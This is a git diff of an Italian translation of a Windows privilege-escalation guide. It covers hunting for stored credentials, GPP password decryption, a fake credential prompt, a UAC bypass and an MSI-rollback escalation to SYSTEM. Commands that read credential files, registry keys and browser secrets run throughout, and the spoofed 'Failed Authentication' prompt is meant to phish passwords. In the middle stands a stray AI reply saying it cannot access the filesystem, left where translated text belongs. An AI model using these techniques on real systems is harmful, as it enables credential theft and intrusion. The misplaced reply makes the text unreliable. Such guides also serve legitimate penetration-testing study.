vuoi che si avvii automaticamente all'avvio, esegui: +Se il servizio `ssh-agent` non è in esecuzione e vuoi che si avvii automaticamente all'avvio esegui: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Sembra che questa tecnica non sia più valida. Ho provato a creare delle chiavi ssh, aggiungerle con `ssh-add` e collegarmi via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. -### File non presidiati +> Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con `ssh-add` e accedere via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. + +### File incustoditi ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -986,7 +986,7 @@ Esempio di contenuto: ``` -### Backup di SAM e SYSTEM +### Backup di SAM & SYSTEM ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1010,13 +1010,13 @@ AppData\Roaming\gcloud\access_tokens.db Cerca un file chiamato **SiteList.xml** -### Password GPP memorizzata nella cache +### Cached GPP Pasword -Una funzione era precedentemente disponibile che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi falle di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una chiave predefinita documentata pubblicamente, potevano essere decrittate da qualsiasi utente autenticato. Questo rappresentava un rischio serio, in quanto poteva consentire agli utenti di ottenere privilegi elevati. +Una funzionalità era precedentemente disponibile che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi problemi di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una key di default documentata pubblicamente, potevano essere decriptate da qualsiasi utente autenticato. Questo rappresentava un rischio serio, in quanto poteva permettere agli utenti di ottenere privilegi elevati. -Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente che contengono un campo "cpassword" non vuoto. Quando viene trovato un file del genere, la funzione decifra la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, agevolando l'identificazione e la mitigazione di questa vulnerabilità di sicurezza. +Per mitigare questo rischio, è stata sviluppata una funzione per scanare i file GPP memorizzati localmente che contengono un campo "cpassword" non vuoto. Al rilevamento di tale file, la funzione decripta la password e restituisce un oggetto PowerShell custom. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella remediation di questa vulnerabilità di sicurezza. -Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (precedente a Windows Vista)_ per questi file: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1025,16 +1025,16 @@ Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents an - Printers.xml - Drives.xml -**Per decifrare il cPassword:** +**To decrypt the cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Usando crackmapexec per ottenere le password: +Usare crackmapexec per ottenere le password: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### Configurazione Web IIS ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1058,7 +1058,7 @@ Esempio di web.config con credenziali: ``` -### OpenVPN credenziali +### Credenziali OpenVPN ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1078,7 +1078,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### Registri ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1086,9 +1086,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Chiedere le credentials +### Richiedere le credentials -Puoi sempre **chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente** se pensi che possa conoscerle (nota che **chiedere** al cliente direttamente le **credentials** è davvero **rischioso**): +Puoi sempre **chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente** se pensi che le possa conoscere (nota che **chiedere** direttamente al client le **credentials** è davvero **rischioso**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1096,9 +1096,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Nomi di file possibili contenenti credentials** +### **Possibili nomi di file contenenti credentials** -File noti che tempo fa contenevano **passwords** in **clear-text** o **Base64** +File noti che qualche tempo fa contenevano **passwords** in **clear-text** o **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1162,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Non ho accesso al tuo filesystem o al repository. Per favore fornisci il contenuto del file src/windows-hardening/windows-local-privilege-escalation/README.md (o caricalo), oppure fornisci l'elenco dei file o un link pubblico al repo. Posso quindi tradurre il testo in italiano mantenendo intatta la sintassi markdown/HTML come richiesto. Quale preferisci? +Non ho accesso al filesystem. Per favore incolla il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md che vuoi tradurre, e tradurrò il testo pertinente in italiano mantenendo markdown, tag e link invariati come richiesto. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1171,15 +1171,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials in the RecycleBin +### Credenziali nel Cestino -Dovresti inoltre controllare il Bin per cercare credentials al suo interno +Dovresti anche controllare il Cestino per cercare credenziali al suo interno -Per **recover passwords** salvate da diversi programmi puoi usare: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Per **recuperare le password** salvate da diversi programmi puoi usare: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Inside the registry +### All'interno del registro -**Altre possibili registry keys con credentials** +**Altre possibili chiavi del registro contenenti credenziali** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1190,10 +1190,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Cronologia dei browser -Dovresti cercare i dbs dove vengono memorizzate le password di **Chrome or Firefox**.\ -Controlla anche la history, i bookmarks e i favourites dei browser perché potrebbero essere memorizzate lì alcune **passwords**. +Dovresti cercare nei db dove sono memorizzate le password di **Chrome or Firefox**. +Controlla anche la cronologia, i segnalibri e i preferiti dei browser, perché magari alcune **password** sono memorizzate lì. -Strumenti per estrarre password dai browser: +Strumenti per estrarre le password dai browser: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1202,24 +1202,24 @@ Strumenti per estrarre password dai browser: ### **COM DLL Overwriting** -**Component Object Model (COM)** è una tecnologia integrata nel sistema operativo Windows che permette la **comunicazione** tra componenti software scritti in linguaggi differenti. Ogni componente COM è **identificato tramite un class ID (CLSID)** e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). +Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercomunicazione tra componenti software scritti in linguaggi diversi. Ogni componente COM è **identificato tramite un class ID (CLSID)** e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). -Le classi e le interfacce COM sono definite nel registro sotto **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** rispettivamente. Questo registro è creato unendo **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Le classi e le interfacce COM sono definite nel registro sotto **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** rispettivamente. Questo registro viene creato unendo **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -All'interno dei CLSID di questo registro puoi trovare la chiave figlia **InProcServer32** che contiene un **valore di default** che punta a una **DLL** e un valore chiamato **ThreadingModel** che può essere **Apartment** (a singolo thread), **Free** (multi-thread), **Both** (singolo o multi) o **Neutral** (neutro rispetto al thread). +All'interno dei CLSID in questo registro puoi trovare la sottochiave InProcServer32 che contiene un valore di default che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral). ![](<../../images/image (729).png>) -Fondamentalmente, se puoi **sovrascrivere una qualsiasi delle DLL** che verranno eseguite, potresti **ottenere privilegi elevati** se quella DLL verrà eseguita da un utente diverso. +In pratica, se riesci a sovrascrivere una delle DLL che verranno eseguite, potresti escalate privileges se tale DLL viene eseguita da un utente diverso. -Per sapere come gli attacker usano COM Hijacking come meccanismo di persistenza, consulta: +Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenza, consulta: {{#ref}} com-hijacking.md {{#endref}} -### **Ricerca generica di password in file e nel registro** +### Ricerca generica di password in file e registro **Cerca nel contenuto dei file** ```bash @@ -1233,7 +1233,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Cerca nel registro nomi delle chiavi e password** +**Cerca nel registry i nomi delle chiavi e le password** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1242,11 +1242,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Strumenti che cercano passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **è un plugin per msf**. Ho creato questo plugin per **eseguire automaticamente ogni metasploit POST module che cerca credentials** all'interno della macchina vittima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file che contengono passwords menzionati in questa pagina.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **è un plugin di msf** che ho creato per **eseguire automaticamente ogni metasploit POST module che cerca credentials** all'interno della vittima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file che contengono passwords menzionati in questa pagina.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) è un altro ottimo strumento per estrarre password da un sistema. -Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi strumenti che salvano questi dati in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, e RDP) +Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi strumenti che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1255,30 +1255,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con privilegi ridotti ma che eredita tutte le handle aperte del processo principale**.\\ -Poi, se hai **accesso completo al processo a basso privilegio**, puoi prendere l'**handle aperta verso il processo privilegiato creato** con `OpenProcess()` e **iniettare shellcode**.\\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crei anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma che eredita tutti gli handle aperti del processo principale**.\ +Quindi, se hai **accesso completo al processo a basso privilegio**, puoi prendere lo **handle aperto verso il processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\ +[Leggi questo esempio per maggiori informazioni su **come individuare e sfruttare questa vulnerabilità**.](leaked-handle-exploitation.md)\ +[Leggi questo **altro post per una spiegazione più completa su come testare e abusare di più open handlers di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -I segmenti di memoria condivisa, chiamati **pipes**, consentono la comunicazione e il trasferimento di dati tra processi. +I segmenti di memoria condivisa, detti **pipes**, permettono la comunicazione tra processi e il trasferimento di dati. -Windows fornisce una funzionalità chiamata **Named Pipes**, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come **named pipe server** e **named pipe client**. +Windows fornisce una funzionalità chiamata **Named Pipes**, che permette a processi non correlati di scambiare dati, anche su reti diverse. Questo è simile a un'architettura client/server, con i ruoli definiti come **named pipe server** e **named pipe client**. -Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha creato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che possieda i diritti **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi emulare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire un tale attacco, guide utili sono disponibili [**here**](named-pipe-client-impersonation.md) e [**here**](#from-high-integrity-to-system). +Quando i dati vengono inviati tramite una pipe da un **client**, il **server** che ha creato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che possieda i diritti **SeImpersonate** necessari. Individuare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi elevati** adottando l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire tale attacco, sono utili le guide [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system). -Inoltre il seguente tool permette di **intercettare una comunicazione tramite named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo tool permette di elencare e vedere tutte le pipes per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Inoltre il seguente tool permette di **intercettare una comunicazione tramite named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo tool permette di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Varie ### Estensioni di file che possono eseguire codice in Windows -Consulta la pagina **https://filesec.io/** +Consulta la pagina **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **Monitoraggio delle righe di comando per password** -Quando ottieni una shell come utente, possono esserci attività pianificate o altri processi in esecuzione che **passano credenziali sulla linea di comando**. Lo script sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze. +Quando si ottiene una shell come utente, possono esserci task pianificati o altri processi in esecuzione che **passano credenziali sulla riga di comando**. Lo script sottostante cattura le righe di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, visualizzando le eventuali differenze. ```bash while($true) { @@ -1292,9 +1292,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ## Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se hai accesso all'interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminal o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" da un utente non privilegiato. +Se hai accesso all'interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" partendo da un utente non privilegiato. -Questo permette di aumentare i privilegi e bypassare UAC contemporaneamente sfruttando la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario utilizzato durante il processo è firmato e rilasciato da Microsoft. +Questo rende possibile elevare i privilegi e bypassare UAC contemporaneamente con la stessa vulnerabilità. Inoltre non è necessario installare nulla e il binario usato durante il processo è firmato e rilasciato da Microsoft. Alcuni dei sistemi interessati sono i seguenti: ``` @@ -1336,154 +1336,150 @@ Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi: 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: +## Da Administrator Medium a High Integrity Level / UAC Bypass -https://github.com/jas502n/CVE-2019-1388 - -## From Administrator Medium to High Integrity Level / UAC Bypass - -Read this to **learn about Integrity Levels**: +Leggi questo per **imparare i livelli di integrità**: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +Poi **leggi questo per imparare su UAC e i bypass UAC:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Da Eliminazione/Spostamento/Rinominazione Arbitraria di Cartella a SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +La tecnica descritta [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback del Windows Installer per sostituire file legittimi con file malevoli durante il processo di uninstall. Per questo l'attaccante deve creare un **malicious MSI installer** che verrà usato per hijackare la cartella `C:\Config.Msi`, che sarà poi usata dal Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback saranno modificati per contenere il payload malevolo. +L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback di Windows Installer per sostituire file legittimi con file malevoli durante il processo di disinstallazione. Per questo l'attaccante deve creare un **malicious MSI installer** che verrà usato per hijackare la cartella `C:\Config.Msi`, che in seguito verrà usata dal Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback sarebbero stati modificati per contenere il payload malevolo. La tecnica riassunta è la seguente: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. **Stage 1 – Preparazione per l'Hijack (lasciare `C:\Config.Msi` vuota)** -- Passo 1: Install the MSI -- Crea un `.msi` che installa un file innocuo (es., `dummy.txt`) in una cartella scrivibile (`TARGETDIR`). -- Marca l'installer come **"UAC Compliant"**, così un **non-admin user** può eseguirlo. -- Tieni aperto un **handle** sul file dopo l'installazione. +- Passo 1: Installa l'MSI +- Crea un `.msi` che installa un file innocuo (es. `dummy.txt`) in una cartella scrivibile (`TARGETDIR`). +- Marca l'installer come **"UAC Compliant"**, così un **utente non amministratore** può eseguirlo. +- Mantieni un **handle** aperto sul file dopo l'installazione. -- Passo 2: Begin Uninstall +- Passo 2: Inizia la disinstallazione - Disinstalla lo stesso `.msi`. -- Il processo di uninstall inizia a spostare i file in `C:\Config.Msi` e a rinominarli in file `.rbf` (backup di rollback). -- **Interroga l'handle aperto** usando `GetFinalPathNameByHandle` per rilevare quando il file diventa `C:\Config.Msi\.rbf`. +- Il processo di disinstallazione inizia a spostare file in `C:\Config.Msi` e a rinominarli in file `.rbf` (backup di rollback). +- **Interroga l'handle del file aperto** usando `GetFinalPathNameByHandle` per rilevare quando il file diventa `C:\Config.Msi\.rbf`. -- Passo 3: Custom Syncing +- Passo 3: Sincronizzazione personalizzata - Il `.msi` include una **custom uninstall action (`SyncOnRbfWritten`)** che: -- Segnala quando il `.rbf` è stato scritto. -- Poi **attende** su un altro evento prima di continuare l'uninstall. +- Segnala quando `.rbf` è stato scritto. +- Poi **attende** un altro evento prima di continuare la disinstallazione. -- Passo 4: Block Deletion of `.rbf` -- Quando segnalato, **apri il file `.rbf`** senza `FILE_SHARE_DELETE` — questo **impedisce che venga cancellato**. -- Poi **segnala di ritorno** così l'uninstall può completare. -- Windows Installer non riesce a cancellare il `.rbf`, e poiché non può eliminare tutto il contenuto, **`C:\Config.Msi` non viene rimosso**. +- Passo 4: Bloccare la cancellazione di `.rbf` +- Quando viene segnalato, **apri il file `.rbf`** senza `FILE_SHARE_DELETE` — questo **impedisce che venga cancellato**. +- Quindi **invia il segnale di ritorno** così la disinstallazione può completarsi. +- Windows Installer non riesce a cancellare il `.rbf`, e poiché non può cancellare tutti i contenuti, **`C:\Config.Msi` non viene rimosso**. -- Passo 5: Manually Delete `.rbf` +- Passo 5: Cancella manualmente `.rbf` - Tu (attaccante) cancelli manualmente il file `.rbf`. - Ora **`C:\Config.Msi` è vuota**, pronta per essere hijackata. -> A questo punto, **trigger the SYSTEM-level arbitrary folder delete vulnerability** per eliminare `C:\Config.Msi`. +> A questo punto, **sfrutta la vulnerabilità di eliminazione arbitraria di cartelle a livello SYSTEM** per cancellare `C:\Config.Msi`. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. **Stage 2 – Sostituire gli script di rollback con quelli malevoli** -- Passo 6: Recreate `C:\Config.Msi` with Weak ACLs -- Ricrea la cartella `C:\Config.Msi` tu stesso. -- Imposta **weak DACLs** (es., Everyone:F), e **tieni aperto un handle** con `WRITE_DAC`. +- Passo 6: Ricrea `C:\Config.Msi` con ACL deboli +- Ricrea tu la cartella `C:\Config.Msi`. +- Imposta **DACLs deboli** (es. Everyone:F) e **mantieni un handle aperto** con `WRITE_DAC`. -- Passo 7: Run Another Install +- Passo 7: Esegui un'altra installazione - Installa di nuovo il `.msi`, con: - `TARGETDIR`: posizione scrivibile. -- `ERROROUT`: una variabile che forza un failure. -- Questa installazione sarà usata per triggerare di nuovo il **rollback**, che legge `.rbs` e `.rbf`. +- `ERROROUT`: una variabile che provoca un errore forzato. +- Questa installazione verrà usata per avviare nuovamente il **rollback**, che legge `.rbs` e `.rbf`. -- Passo 8: Monitor for `.rbs` -- Usa `ReadDirectoryChangesW` per monitorare `C:\Config.Msi` fino a quando non appare un nuovo `.rbs`. -- Cattura il suo nome file. +- Passo 8: Monitora la comparsa di `.rbs` +- Usa `ReadDirectoryChangesW` per monitorare `C:\Config.Msi` finché non appare un nuovo `.rbs`. +- Cattura il nome del file. -- Passo 9: Sync Before Rollback +- Passo 9: Sincronizza prima del rollback - Il `.msi` contiene una **custom install action (`SyncBeforeRollback`)** che: - Segnala un evento quando il `.rbs` viene creato. -- Poi **attende** prima di continuare. +- Poi **attende** prima di proseguire. -- Passo 10: Reapply Weak ACL -- Dopo aver ricevuto l'evento `.rbs created`: -- Il Windows Installer **riapplica ACL forti** a `C:\Config.Msi`. -- Ma poiché hai ancora un handle con `WRITE_DAC`, puoi **riapplicare ACL deboli** di nuovo. +- Passo 10: Reapplica ACL deboli +- Dopo aver ricevuto l'evento `'.rbs created'`: +- Il Windows Installer **reapplica ACL forti** a `C:\Config.Msi`. +- Ma dato che hai ancora un handle con `WRITE_DAC`, puoi **reapplicare ACL deboli** di nuovo. -> Le ACL vengono **fatte valere solo all'apertura dell'handle**, quindi puoi ancora scrivere nella cartella. +> Le ACL sono **applicate solo all'apertura dell'handle**, quindi puoi ancora scrivere nella cartella. -- Passo 11: Drop Fake `.rbs` and `.rbf` -- Sovrascrivi il file `.rbs` con uno **fake rollback script** che dice a Windows di: -- Ripristinare il tuo `.rbf` (DLL malevola) in una **posizione privilegiata** (es., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Depositare il tuo fake `.rbf` contenente una **malicious SYSTEM-level payload DLL**. +- Passo 11: Posiziona `.rbs` e `.rbf` falsi +- Sovrascrivi il file `.rbs` con uno **script di rollback falso** che dice a Windows di: +- Ripristinare il tuo file `.rbf` (DLL malevola) in una **posizione privilegiata** (es. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Posizionare il tuo `.rbf` falso contenente una **DLL payload malevola a livello SYSTEM**. -- Passo 12: Trigger the Rollback +- Passo 12: Attiva il rollback - Segnala l'evento di sync così l'installer riprende. -- Una **type 19 custom action (`ErrorOut`)** è configurata per **fallire intenzionalmente l'install** in un punto noto. -- Questo causa l'inizio del **rollback**. +- Una **type 19 custom action (`ErrorOut`)** è configurata per **fallire intenzionalmente l'installazione** in un punto noto. +- Questo fa sì che **il rollback inizi**. -- Passo 13: SYSTEM Installs Your DLL +- Passo 13: SYSTEM installa la tua DLL - Windows Installer: -- Legge il tuo malicious `.rbs`. -- Copia il tuo `.rbf` DLL nella destinazione. -- Ora hai la tua **malicious DLL in a SYSTEM-loaded path**. +- Legge il tuo `.rbs` malevolo. +- Copia la tua DLL `.rbf` nella posizione target. +- Ora hai la tua **DLL malevola in un percorso caricato da SYSTEM**. -- Final Step: Execute SYSTEM Code -- Esegui un trusted **auto-elevated binary** (es., `osk.exe`) che carica la DLL che hai hijackato. -- **Boom**: il tuo codice viene eseguito **as SYSTEM**. +- Passo finale: Esegui codice a livello SYSTEM +- Esegui un **auto-elevated binary** attendibile (es. `osk.exe`) che carica la DLL che hai hijackato. +- **Boom**: Il tuo codice viene eseguito **come SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Da Eliminazione/Spostamento/Rinominazione Arbitraria di File a SYSTEM EoP -La principale tecnica del rollback MSI (quella precedente) assume che tu possa eliminare un'intera cartella (es., `C:\Config.Msi`). Ma cosa succede se la tua vulnerabilità permette solo la **cancellazione arbitraria di file**? +La tecnica principale di rollback MSI (quella precedente) presuppone di poter cancellare un **intera cartella** (es. `C:\Config.Msi`). Ma cosa succede se la tua vulnerabilità permette solo la **cancellazione arbitraria di file** ? -Potresti sfruttare gli internals di NTFS: ogni cartella ha uno stream di dati alternativo nascosto chiamato: +Potresti sfruttare gli **NTFS internals**: ogni cartella ha uno stream di dati alternativo nascosto chiamato: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Questo stream memorizza i **metadati dell'indice** della cartella. -Quindi, se **cancelli lo stream `::$INDEX_ALLOCATION`** di una cartella, NTFS **rimuove l'intera cartella** dal filesystem. +Quindi, se **elimini lo stream `::$INDEX_ALLOCATION`** di una cartella, NTFS **rimuove l'intera cartella** dal filesystem. -Puoi farlo usando API standard per l'eliminazione di file, come: +Puoi farlo usando le API standard per la cancellazione dei file, come: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Anche se stai chiamando un'API di cancellazione di file, essa **cancella la cartella stessa**. +> Nonostante tu stia chiamando una *file* delete API, essa **elimina la cartella stessa**. -### From Folder Contents Delete to SYSTEM EoP -Cosa succede se la tua primitive non ti permette di eliminare file/cartelle arbitrari, ma **ti permette di eliminare il *contenuto* di una cartella controllata dall'attaccante**? +### Da Folder Contents Delete a SYSTEM EoP +E se il tuo primitive non ti permette di eliminare file/cartelle arbitrari, ma **consente l'eliminazione del *contenuto* di una cartella controllata dall'attaccante**? -1. Passo 1: Prepara una cartella esca e un file +1. Step 1: Crea una cartella esca e un file - Crea: `C:\temp\folder1` - Al suo interno: `C:\temp\folder1\file1.txt` -2. Passo 2: Posiziona un **oplock** su `file1.txt` 